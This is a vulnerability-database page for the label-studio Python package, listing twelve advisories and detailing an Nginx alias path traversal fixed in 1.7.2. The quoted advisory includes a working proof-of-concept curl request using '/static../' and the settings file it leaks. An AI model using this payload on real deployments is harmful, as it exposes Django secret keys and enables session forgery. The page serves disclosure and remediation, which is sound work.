Vulnerabilities in pkg:pypi/label-studio

PACKAGE
Advisory Summary

GHSA-cpmr-mw4j-99r7 is a HIGH (CVSS 7.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Label studio libraries in the PyPI ecosystem. The issue involves nginx alias path traversal allows unauthenticated attackers to read all files on /label_studio/core/. Remediation is available by upgrading affected packages to version 1.7.2.

12 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/label-studio

12 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/label-studio. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-cpmr-mw4j-99r7 - HIGH Nginx alias path traversal allows unauthenticated attackers to read all files on /label_studio/core/
GHSA-8jhr-wpcm-hh4h CVE-2025-47783 HIGH label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.
GHSA-2mq9-hm29-8qch CVE-2026-22033 HIGH Label Studio is vulnerable to full account takeover by chaining Stored XSS + IDOR in User Profile via custom_hotkeys field
GHSA-6xv9-957j-qfhg CVE-2024-26152 MODERATE Label Studio vulnerable to Cross-site Scripting if `<Choices>` or `<Labels>` are used in labeling config
GHSA-wpq5-3366-mqw4 CVE-2025-25296 MODERATE Label Studio allows Cross-Site Scripting (XSS) via GET request to `/projects/upload-example` endpoint
GHSA-m238-fmcw-wh58 CVE-2025-25297 HIGH Label Studio allows Server-Side Request Forgery in the S3 Storage Endpoint
GHSA-fq23-g58m-799r CVE-2024-23633 MODERATE Cross-site Scripting Vulnerability on Data Import
GHSA-6hjj-gq77-j4qw CVE-2023-47117 HIGH Label Studio Object Relational Mapper Leak Vulnerability in Filtering Task
GHSA-p59w-9gqw-wj8r CVE-2023-47116 MODERATE Label Studio SSRF on Import Bypassing `SSRF_PROTECTION_ENABLED` Protections
GHSA-q68h-xwq5-mm7x CVE-2023-47115 HIGH Cross-site Scripting Vulnerability on Avatar Upload
GHSA-f475-x83m-rx5m CVE-2023-43791 CRITICAL Label Studio has Hardcoded Django `SECRET_KEY` that can be Abused to Forge Session Tokens
GHSA-pc6f-259w-w3j6 CVE-2022-36551 HIGH Heartex - Label Studio Community Edition vulnerable to SSRF in the Data Import module

GHSA-cpmr-mw4j-99r7 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-cpmr-mw4j-99r7
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Label studio
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix GHSA-cpmr-mw4j-99r7

To remediate this vulnerability, upgrade all affected Label studio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

label-studio fixed: 1.7.2
pip install label-studio>=1.7.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show label-studio

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-cpmr-mw4j-99r7, inspect your installed packages using pip:

pip show label-studio

Analyze the terminal output to locate any version of Label studio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.7.2), your application is affected.

Note: The pip show label-studio command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Label studio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The vulnerability resides on the Nginx config file: https://github.com/heartexlabs/label-studio/blob/53944e6bcede75ca5c102d655013f2e5238e85e6/deploy/default.conf#L119 The pattern on location /static indicates a popular misconfiguration on Nginx servers presented in 2018 originally by Orange Tsai. This vulnerability allows an attacker to use a single path traversal payload in the matched location to traverse one directory above. This vulnerability only happens due to the location /static directive not having a slash `/` at the end, the following code shows an example of a safe configuration: ```nginx location /static/ { [...] ``` The vulnerability works because Nginx will think that `/static../` is a directory that should also be aliased to the folder, allowing /static/../ to be reached. In Label Studio's case, this means all files on /label_studio/core/ are exposed. Of course, this means that only Label Studio instances that were deployed using the default nginx files introducted at Mar 31, 2021. This is a very easy vulnerability to fix, and just a lesser-known configuration mistake on nginx files. It's very easy to happen because all is needed is for one slash to be missing. (Off-By-One) ** Proof-of-Concept (Leaking Secret Keys): ** Exploiting this vulnerability usually depends on what's on the parent folder, in Label Studio's case the most interesting file I could find that's on there by default is /label_studio/core/ . We can fetch it by simply making a request to the traversed folder. ```bash # Production Label Studio docker-compose running on localhost:8080 /t/mydata [127]$ curl localhost:8080/static../settings/label_studio.py """This file and its contents are licensed under the Apache License 2.0. Please see the included NOTICE for copyright information and LICENSE for a copy of the license. """ import os import pathlib from core.settings.base import * DJANGO_DB = get_env('DJANGO_DB', DJANGO_DB_SQLITE) DATABASES = {'default': DATABASES_ALL[DJANGO_DB]} MIDDLEWARE.append('organizations.middleware.DummyGetSessionMiddleware') MIDDLEWARE.append('core.middleware.UpdateLastActivityMiddleware') if INACTIVITY_SESSION_TIMEOUT_ENABLED: MIDDLEWARE.append('core.middleware.InactivitySessionTimeoutMiddleWare') ADD_DEFAULT_ML_BACKENDS = False LOGGING['root']['level'] = get_env('LOG_LEVEL', 'WARNING') DEBUG = get_bool_env('DEBUG', False) DEBUG_PROPAGATE_EXCEPTIONS = get_bool_env('DEBUG_PROPAGATE_EXCEPTIONS', False) SESSION_COOKIE_SECURE = False SESSION_ENGINE = "django.contrib.sessions.backends.signed_cookies" RQ_QUEUES = {} SENTRY_DSN = get_env( 'SENTRY_DSN', 'https://68b045ab408a4d32a910d339be8591a4@o227124.ingest.sentry.io/5820521' ) SENTRY_ENVIRONMENT = get_env('SENTRY_ENVIRONMENT', 'opensource') FRONTEND_SENTRY_DSN = get_env( 'FRONTEND_SENTRY_DSN', 'https://5f51920ff82a4675a495870244869c6b@o227124.ingest.sentry.io/5838868') FRONTEND_SENTRY_ENVIRONMENT = get_env('FRONTEND_SENTRY_ENVIRONMENT', 'opensource') EDITOR_KEYMAP = json.dumps(get_env("EDITOR_KEYMAP")) from label_studio import __version__ from label_studio.core.utils import sentry sentry.init_sentry(release_name='label-studio', release_version=__version__) # we should do it after sentry init from label_studio.core.utils.common import collect_versions versions = collect_versions() # in Label Studio Community version, feature flags are always ON FEATURE_FLAGS_DEFAULT_VALUE = True # or if file is not set, default is using offline mode FEATURE_FLAGS_OFFLINE = get_bool_env('FEATURE_FLAGS_OFFLINE', True) from core.utils.io import find_file FEATURE_FLAGS_FILE = get_env('FEATURE_FLAGS_FILE', 'feature_flags.json') FEATURE_FLAGS_FROM_FILE = True try: from core.utils.io import find_node find_node('label_studio', FEATURE_FLAGS_FILE, 'file') except IOError: FEATURE_FLAGS_FROM_FILE = False STORAGE_PERSISTENCE = get_bool_env('STORAGE_PERSISTENCE', True) ``` ### Impact The impact consists on leaking Django secret keys by default, with also greater risk being possible due to the vulnerability exposing the file located at /label_studio/core/settings/label_studio.py which contains the secret key for Django as well as possibly containing other secrets the user might put there. (If the administrator decides not to use environment variables for some variables)

GHSA-cpmr-mw4j-99r7 Affected Label studio Versions

1 component(s)
Fixed Versions:
1.7.2
Product / Package Ecosystem Affected Versions Fixed Version
label-studio
PyPI
< 1.7.2
1.7.2

References

Frequently Asked Questions

What is GHSA-cpmr-mw4j-99r7?
GHSA-cpmr-mw4j-99r7 is a security vulnerability in Label studio involving Nginx alias path traversal allows unauthenticated attackers to read all files on /label_studio/core/ under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Label studio versions are affected?
Affected versions include releases prior to 1.7.2 across affected packages: label-studio.
What version fixes GHSA-cpmr-mw4j-99r7?
Upgrading to 1.7.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is label-studio affected?
Yes, label-studio is affected in releases prior to 1.7.2. Upgrade your dependency to 1.7.2 or later.
What is the CVSS score of GHSA-cpmr-mw4j-99r7?
GHSA-cpmr-mw4j-99r7 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with GHSA-cpmr-mw4j-99r7?
GHSA-cpmr-mw4j-99r7 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for GHSA-cpmr-mw4j-99r7?
Run the dependency tree command: 'pip show label-studio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cpmr-mw4j-99r7",
  "modified" : "2026-09-02T22:04:05Z",
  "published" : "2023-03-24T22:04:02Z",
  "aliases" : [ ],
  "summary" : "Nginx alias path traversal allows unauthenticated attackers to read all files on /label_studio/core/",
  "details" : "### Summary\nThe vulnerability resides on the Nginx config file:\nhttps://github.com/heartexlabs/label-studio/blob/53944e6bcede75ca5c102d655013f2e5238e85e6/deploy/default.conf#L119\n\nThe pattern on location /static indicates a popular misconfiguration on Nginx servers presented in 2018 originally by Orange Tsai. This vulnerability allows an attacker to use a single path traversal payload in the matched location to traverse one directory above. This vulnerability only happens due to the location /static directive not having a slash `/` at the end, the following code shows an example of a safe configuration:\n```nginx\nlocation /static/ {\n[...]\n```\nThe vulnerability works because Nginx will think that `/static../` is a directory that should also be aliased to the folder, allowing /static/../ to be reached. In Label Studio's case, this means all files on /label_studio/core/ are exposed.\n\nOf course, this means that only Label Studio instances that were deployed using the default nginx files introducted at Mar 31, 2021.\nThis is a very easy vulnerability to fix, and just a lesser-known configuration mistake on nginx files. It's very easy to happen because all is needed is for one slash to be missing. (Off-By-One)\n\n** Proof-of-Concept (Leaking Secret Keys): **\nExploiting this vulnerability usually depends on what's on the parent folder, in Label Studio's case the most interesting file I could find that's on there by default is /label_studio/core/ . We can fetch it by simply making a request to the traversed folder.\n```bash\n# Production Label Studio docker-compose running on localhost:8080\n/t/mydata [127]$ curl localhost:8080/static../settings/label_studio.py\n\"\"\"This file and its contents are licensed under the Apache License 2.0. Please see the included NOTICE for copyright information and LICENSE for a copy of the license.\n\"\"\"\nimport os\nimport pathlib\n\nfrom core.settings.base import *\n\nDJANGO_DB = get_env('DJANGO_DB', DJANGO_DB_SQLITE)\nDATABASES = {'default': DATABASES_ALL[DJANGO_DB]}\n\nMIDDLEWARE.append('organizations.middleware.DummyGetSessionMiddleware')\nMIDDLEWARE.append('core.middleware.UpdateLastActivityMiddleware')\nif INACTIVITY_SESSION_TIMEOUT_ENABLED:\n    MIDDLEWARE.append('core.middleware.InactivitySessionTimeoutMiddleWare')\n\nADD_DEFAULT_ML_BACKENDS = False\n\nLOGGING['root']['level'] = get_env('LOG_LEVEL', 'WARNING')\n\nDEBUG = get_bool_env('DEBUG', False)\n\nDEBUG_PROPAGATE_EXCEPTIONS = get_bool_env('DEBUG_PROPAGATE_EXCEPTIONS', False)\n\nSESSION_COOKIE_SECURE = False\n\nSESSION_ENGINE = \"django.contrib.sessions.backends.signed_cookies\"\n\nRQ_QUEUES = {}\n\nSENTRY_DSN = get_env(\n    'SENTRY_DSN',\n    'https://68b045ab408a4d32a910d339be8591a4@o227124.ingest.sentry.io/5820521'\n)\nSENTRY_ENVIRONMENT = get_env('SENTRY_ENVIRONMENT', 'opensource')\n\nFRONTEND_SENTRY_DSN = get_env(\n    'FRONTEND_SENTRY_DSN',\n    'https://5f51920ff82a4675a495870244869c6b@o227124.ingest.sentry.io/5838868')\nFRONTEND_SENTRY_ENVIRONMENT = get_env('FRONTEND_SENTRY_ENVIRONMENT', 'opensource')\n\nEDITOR_KEYMAP = json.dumps(get_env(\"EDITOR_KEYMAP\"))\n\nfrom label_studio import __version__\nfrom label_studio.core.utils import sentry\nsentry.init_sentry(release_name='label-studio', release_version=__version__)\n\n# we should do it after sentry init\nfrom label_studio.core.utils.common import collect_versions\nversions = collect_versions()\n\n# in Label Studio Community version, feature flags are always ON\nFEATURE_FLAGS_DEFAULT_VALUE = True\n# or if file is not set, default is using offline mode\nFEATURE_FLAGS_OFFLINE = get_bool_env('FEATURE_FLAGS_OFFLINE', True)\n\nfrom core.utils.io import find_file\nFEATURE_FLAGS_FILE = get_env('FEATURE_FLAGS_FILE', 'feature_flags.json')\nFEATURE_FLAGS_FROM_FILE = True\ntry:\n    from core.utils.io import find_node\n    find_node('label_studio', FEATURE_FLAGS_FILE, 'file')\nexcept IOError:\n    FEATURE_FLAGS_FROM_FILE = False\n\nSTORAGE_PERSISTENCE = get_bool_env('STORAGE_PERSISTENCE', True)\n```\n\n\n### Impact\nThe impact consists on leaking Django secret keys by default, with also greater risk being possible due to the vulnerability exposing the file located at /label_studio/core/settings/label_studio.py which contains the secret key for Django as well as possibly containing other secrets the user might put there. (If the administrator decides not to use environment variables for some variables)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "label-studio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.7.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.7.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/heartexlabs/label-studio/security/advisories/GHSA-cpmr-mw4j-99r7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HumanSignal/label-studio/commit/60a3ef57a22c50d7230a56c11d85e14454c99a28"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/heartexlabs/label-studio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/heartexlabs/label-studio/blob/53944e6bcede75ca5c102d655013f2e5238e85e6/deploy/default.conf#L119"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-03-24T22:04:02Z",
    "nvd_published_at" : null
  }
}